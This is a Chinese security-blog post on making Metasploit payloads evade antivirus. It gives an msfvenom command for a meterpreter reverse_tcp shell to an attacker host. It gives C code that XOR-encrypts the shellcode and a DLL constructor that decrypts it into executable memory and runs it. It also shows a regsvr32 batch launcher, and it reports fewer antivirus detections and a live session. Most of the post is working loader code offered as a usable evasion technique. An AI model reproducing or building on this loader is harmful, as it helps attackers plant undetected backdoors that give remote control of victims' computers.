freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

msfvenom payload 免杀简单实践
2021-02-22 14:07:19

免杀简单实践

实验各种渗透框架的后门,结果很多文件放到硬盘上就开始报毒,这样的话根本
很难实际使用,网上搜索各种免杀工具,据发布有些时间的似乎也都不行,自己
稍微熟悉点的可能是dll这一块,看到有通过加密payload然后再打包成dll,最后
用regsvr32 加载执行的思路,感觉可以是实践下,好歹这个可以自己写下程序。

选择payload

这里选择msf的经典payload:windows/meterpreter/reverse_tcp

//生成c形式的payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=7657 -f c

选择加密方式

这里选择比较简单的逐字符异或加密

//粘贴msf的payload
unsigned char buf[] = "
        ....
        ....

unsigned char KEY = '\x87';//随便选个字符

int main(){
    unsigned int cnt = 1;
    for(unsigned int index=0;index < sizeof(buf);index++){
        buf[index] = buf[index]^KEY;
    }

    printf("\n\tunsigned char buf[]=\n");

    for(unsigned int index=0;index < sizeof(buf);){
        if(cnt==1){
            printf("\"");
        }else if(cnt>15){
            cnt = 1;
            printf("\"\n");
            continue;
        }
        printf("\\x%x",buf[index]);
        index++;
        cnt++;
    }
    if(cnt != 1){
        printf("\"");
    }
    printf(";\n");
}

编译执行获得加密结果

D:\dllmaster>gcc -m32 xorGenerator.c

D:\dllmaster>a.exe

编写解密模块

//config.h 配置模块,一些基本设置
#define XORBYPASSER '\x87'  
#define DATAEXEC
#define NOWINDOW

//xorBypasser.h
void xorDecoder(unsigned char buf[],unsigned int size);
//xorBypasser.c
#include "config.h"

void xorDecoder(unsigned char buf[],unsigned int size){
    for(unsigned int index=0;index<size;index++){
        #ifdef XORBYPASSER
        buf[index] = buf[index]^XORBYPASSER;
        #endif
    }
}

编写DLL

//DllMain.h

#include "config.h"

void __attribute__((constructor)) DllMain(void);    

//把加密后的payload粘贴过来
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
    ....
    ....

//DllMain.c

#include "DllMain.h"
#include <stdio.h>
#include <windows.h>

typedef void (__stdcall *CODE) ();  

void DllMain(){  

    unsigned int buf_size = sizeof(buf);  
    
#ifdef XORBYPASSER
    xorDecoder(buf,buf_size);\\解密payload
#endif  
    
    //这里采用申请内存空间的方式,把payload复制进去执行,也可以将data段设置可执行位直接跳转执行
            PVOID p = NULL;  
    if ((p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)  
        MessageBoxA(NULL, "error", "info", MB_OK);  
    if (!(memcpy(p, buf, sizeof(buf))))  
        MessageBoxA(NULL, "error", "info", MB_OK);  
  
    CODE code =(CODE)p;  
  
    code();  
}

编译测试DLL

gcc -m32 -shared -o master.dll xorBypasser.c DllMain.c

在编写一个注册脚本 保存为test.bat

regsvr32 master.dll

远控端启动multi/handler监听会话

点击bat,成功上线

注释掉代码里的XORBYPASSER宏,把payload换回未加密的,生成一个dll来比较下

gcc -m32 -shared -o noob.dll xorBypasser.c DllMain.c

在线查毒检测

master.dll 加密后的payload


noob.dll 未加密的payload




基本还是有效果的

后记

这套代码,可以进一步扩展,最简单的可以设计一套bat脚本,利用编译器的预处理,自动化修改源码,然后生成dll
还可以进一步编写更复杂的加密模块,代码混淆,payload分段,设计成免杀框架

# payload # Metasploit # 免杀 # dll
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录